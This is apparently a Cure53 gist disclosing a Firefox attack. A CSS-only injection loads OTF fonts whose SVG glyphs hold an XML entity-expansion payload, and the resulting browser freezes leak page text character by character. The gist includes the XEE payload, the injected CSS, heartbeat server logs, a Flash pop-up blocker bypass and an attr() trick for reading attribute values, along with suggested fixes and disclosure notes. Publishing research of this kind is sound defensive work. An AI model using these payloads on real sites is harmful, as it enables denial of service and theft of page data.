Skip to content

Instantly share code, notes, and snippets.

@cure53
Last active May 30, 2020 17:55
Show Gist options
  • Save cure53/1501bcb6aa6608b2af38fcafd68af219 to your computer and use it in GitHub Desktop.
Save cure53/1501bcb6aa6608b2af38fcafd68af219 to your computer and use it in GitHub Desktop.
OTF+SVG allows to read info character by character with only a STYLE injection through XEE & timing

OTF+SVG allows to read info character by character with only a STYLE injection through XEE & timing

Intro

Mozilla Firefox supports a feature that allows to define SVG images inside an OTF font to represent characters. This is useful if we for example want to work with colorful characters, Emoji, animated characters and so on. Firefox is currently the only relevant browser supporting this technology.

The general technology and its advantages are described here:

Currently, there is not many tools available that support using SVG-enriched OTF fonts. The attack was build using this tool:

The attack aims for the following goal: Use SVG-enriched OTF fonts to exfiltrate information about which characters are contained by...

  • A website in general (shown text, not source code)
  • A specific element on that website (text inside that element)
  • A specific attribute value (via CSS attr())

So, in general, the attack aims to exfiltrate information about rendered text shown on a website. Such as:

  • secret
  • <div>secret</div>
  • <div class="secret">notsecret</div>
  • <input type="text" value="secret">

The attacker is assumed to have one tool: Injection of CSS into the affected website. The attacker has no capabilities of injecting active HTML, forms, links or otherwise dangerous elements, only a STYLE element is needed.

Attack

The attack makes use of the fact, that SVG-enriched OTF fonts can be used to produce a timing side channel. While SVG data deployed in the context of an OTF font is very secure (no scripting, no HTTP leaks, no other obvious side channels), an attacker can in fact abuse XML Entity Expansion (XEE) and create a timing delay affecting the entire browser. This timing delay will be produced by an attack that is similar to the well known "Billion Laughs" XML attack.

Note that Firefox' XML parser is aware of that attack so we need to be a bit careful and not overdo it. The XML shown below produces quite a delay (much more than needed for a timing side-channel - just to demo it more clearly).

To create the setup for the attack, we need to create a font, that produces different delays for different characters. We can make the delay differ by either using different entity amounts, or simply by using a different font per character we want to test for, and then by repeating the attack several times, once for each character we want to test for.

Let's first create an evil font. A font that will cause a delay only when the character zero is present.

We open the SVG workbench tool linked above, we load an arbitrary OTF font, we add the SVG code seen below.

<?xml version="1.0"?>
<!DOCTYPE svg [
 <!ENTITY lol "lol">
 <!ELEMENT svg (#PCDATA)>
 <!ELEMENT text (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;">
]>
<svg id="glyph19" viewBox="0 500 30 10" version="1.1" xmlns="http://www.w3.org/2000/svg">
	<text x="10" y="10" fill="red">&lol4;</text>
</svg>

See how we only address the "gylph19"? That's the "0". Then we save the font. The saved font is already attached to this report so you can skip that step (check comment below).

Now, we create two websites. One that contains the character "0" and one that doesn't (but instead contains the character "1"). We have the example sources (in a very very minimal manner) below this paragraph.

We assume that we can inject CSS into the website. CSS should not give us a way to read character data from a different tab, correct?

<style>
@font-face {
  font-family: test;
  src: url('is-a-zero-present.otf'); // attack font one
}
* {
  font-family: test;
  font-size:   50px;
  margin-top:  180px;
}
</style>
0 < this is the character we want to time. It's in the font, big delay!
<style>
@font-face {
  font-family: test;
  src: url('is-a-zero-present.otf'); // attack font one
}
* {
  font-family: test;
  font-size:   50px;
  margin-top:  180px;
}
</style>
1 < this is the character we want to time. It's not in the font, no delay 
<style>
@font-face {
  font-family: test;
  src: url('is-a-one-present.otf'); // attack font two
}
* {
  font-family: test;
  font-size:   50px;
  margin-top:  180px;
}
</style>
1 < this is the character we want to time. It's now in the font, big delay! 

Now, we have shown, how we can cause a delay caused by XEE that is coming from a font that we apply via an injected STYLE element. Depending on the font (and the glyphs in there) we get different results for different characters in the page body. If we have a 0 present and the font produces an XEE for the character 0: Delay. If not: No delay. We can do this now for each and every character. Either with a more complex font. Or with many requests where each injection always uses a different font, each probing for a different character.

But we want to be able to exfiltrate that info too, correct?

We can indeed do this in a trivially easy way. Firefox will be "dossed" completely for a short time by the XEE. That affects each tab. The victim tab as well as the attacker tab. Let's now assume, that the attacker tab is doing two things:

  1. Sending a heartbeat request every 500ms to attacker com
  2. Abusing a pop-up blocker bypass to open victim.com automatically

We have that pop-up blocker bypass, let's talk about that later.

So, the website on attacker.com sends a request every 500ms to the attacker's server. That looks like this in the logs:

Normal server log:

127.0.0.1 - - [21/Apr/2016:13:35:07 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:08 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:08 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:09 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/201s00101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:09 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:10 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:10 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:11 +0200] "GET /?heartbeat HTTP/1.1" 200 2263 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:11 +0200] "GET /?heartbeat HTTP/1.1" 200 2300 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:12 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"

As you can see, two requests per second, all is fine.

Now, we use the pop-up blocker bypass (more about that later) to open victim.com every like... five seconds. Always with a different CSS injected, loading a different font. If one of the injections matches a character on the page or the element we want to learn about, the XEE triggers. The whole browser freezes for a moment.

That will cause the heartbeat to stop! Frozen browser, no requests for the time of freezing. That means, we know exactly that the character was detected.

Server log when character was found:

127.0.0.1 - - [21/Apr/2016:13:35:47 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:48 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:49 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"

^-the gap! 

127.0.0.1 - - [21/Apr/2016:13:36:13 +0200] "GET /?heartbeat HTTP/1.1" 200 2300 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:36:13 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:36:14 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:36:15 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"

Notice the gap in the log above? That is the XEE.

So, let's summarize:

  • We need a page where we can inject CSS. And where XSS or other nastiness is impossible (because WAF, NoScript, CSP, Sandboxed Iframe, etc.)
  • We want to read displayed text data (or some HTML attribute values) from that page, byte by byte
  • We open victim.com from attacker.com while attacker.com already runs the heartbeat
  • When the injected CSS in victim.com produces a delay via the XEE in the font, the heartbeat stops
  • attacker.com thus knows that a certain character is present in the selected element, the attack continues for the next character(s)
  • The attack finished, the attacker checks the server log and learns about the exfitrated characters

This can of course be done in many different ways, maybe there is even a more elegant way. One of the ways we deemed to be okay-elegant is the way, where attacker.com opens the victim.com page automatically in a new tab, always one tab at a time, multiple times in a row.

We do however need a pop-up blocker bypass for that. Any luckily, there is one. Flash, AS3 and navigateToURL('', 'popup');. If attacker.com runs a Flash file that calls getURL, the new tab will open automatically. This behavior is unique to Firefox, as is the OTF+SVG feature.

This is how the AS3 would look like:

navigateToURL(new URLRequest('http://victim.com/?css=...'), 'popup');`

Wait, you also said that we can read attribute values? Yes - check this example:

<style>
div::after {
content:attr(class);
font-family: monospace;
}
</style>
<div class="secret">not mono</div>

As you can see, we can put the attribute value into the DOM - and set a font for this. Done.

Solution

  • Disable entity processing for OTF+SVG fonts
  • Maybe take care of the pop-up blocker bypass while you're at it :D

NOTE: Appears, that Mozilla already knew about the problem - and it's gone in Nightly. Thus the issue was permitted by mozsec to be published.

2nd NOTE: It's an 0-day and works in all versions of FF. Thus this Gist had to be hidden from public again. Sorry.

3rd NOTE: Turns out it's not a security issue. Fonts injected via CSS are expected to read and exfiltrate characters. A similar attack was desribed by Masato Kinugawa, this also works in Firefox and there is no intention to fix it: https://bugzilla.mozilla.org/show_bug.cgi?id=1218123

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment